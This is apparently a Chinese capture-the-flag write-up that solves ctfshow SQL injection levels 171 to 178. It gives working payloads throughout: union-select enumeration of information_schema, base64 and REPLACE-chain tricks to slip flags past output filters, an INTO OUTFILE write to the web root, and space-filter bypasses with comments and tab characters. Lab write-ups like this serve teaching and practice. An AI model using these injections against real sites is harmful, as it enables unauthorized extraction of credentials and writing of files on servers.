171
查詢語句
//拼接sql語句查找指定ID用戶 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以看出當前表名 user,表下有字段 username和id。
直接查詢字段和回顯點。
三個字段,猜測另一個為password字段。這三個字段都是回顯點。
查數據庫名,結果為ctfshow_web
查表名
1' union select 1,table_name,3 from information_schema.tables where table_schema=database() -- qwe
結果是 ctfshow_user (就這一個,沒有其他的了)
查字段名
1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user' -- qwe
猜測 flag應該在password下了。
查flag
172
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
查詢語句不允許直接查 username=flag的記錄。
//檢查結果是否有flag if($row->username!=='flag'){ $ret['msg']='查詢成功'; }
返回邏輯中 username 不能是 flag。。。管他呢,反正咱們查 password。。。
173
//檢查結果是否有flag if(!preg_match('/flag/i', json_encode($ret))){ $ret['msg']='查詢成功'; }
返回邏輯中,沒有匹配到flag才能返回查詢成功。
可以看出,flag沒顯示。那我們對返回的數據進行一次編碼。
構造
1' union select 1,to_base64(password),3 from ctfshow_user3 %23
base 64解碼即可。
174
//檢查結果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查詢成功'; }
返回的值不能有數字了,想想該怎么弄。。。
參照了大佬的wp,基本思路是置換。 mysql支持一些PHP的函數,比如replace。
0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag' %23
替換規則
0替換為h
1替換為i
2替換為j
3替換為k
4替換為l
5替換為m
6替換為n
7替換為o
8替換為p
9替換為q
我的查詢結果
flaq{khhefafn-mnnb-lbfn-picc-hnledpbohekq} flag{300efaf6-566b-4bf6-81cc-064ed8b70e39}
175
這個做得太絕了。
//檢查結果是否有flag if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){ $ret['msg']='查詢成功'; }
如果返回結果中沒有ASCII碼在 00-7f范圍的,才會查詢成功。
我一開始想的是盲注,但是題目又說盡量不要用sqlmap。我吐了。。。
后來想到可以 講 查詢的結果不返回給我們,而是寫到一個文件當中。 Linux服務器下,web文件夾的目錄就是 /var/www/html 了
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt' -- qwe
訪問
176
從這開始添加過濾了。第一關大小寫繞過。
177
過濾了空格。
先嘗試 1'and'a'='a
發現執行成功。 再嘗試1' and 'a'='a
失敗了。所以很明顯,過濾空格。 我們嘗試用內斂注釋 /**/ 代替空格,以次繞過。
178
通過上面的判斷方法,得知還是過濾了空格。但是 內斂注釋 已經無法繞過了。
所以考慮其他的方法。 在mysql的查詢規則中,tab鍵也可以起到空格的效果。 tab鍵的ASCII碼是 09
http://ascii.911cha.com/
在上面可以查到它對應的ascii編碼。
所以構造 1'%09union%09select%091,password,3%09from%09ctfshow_user%23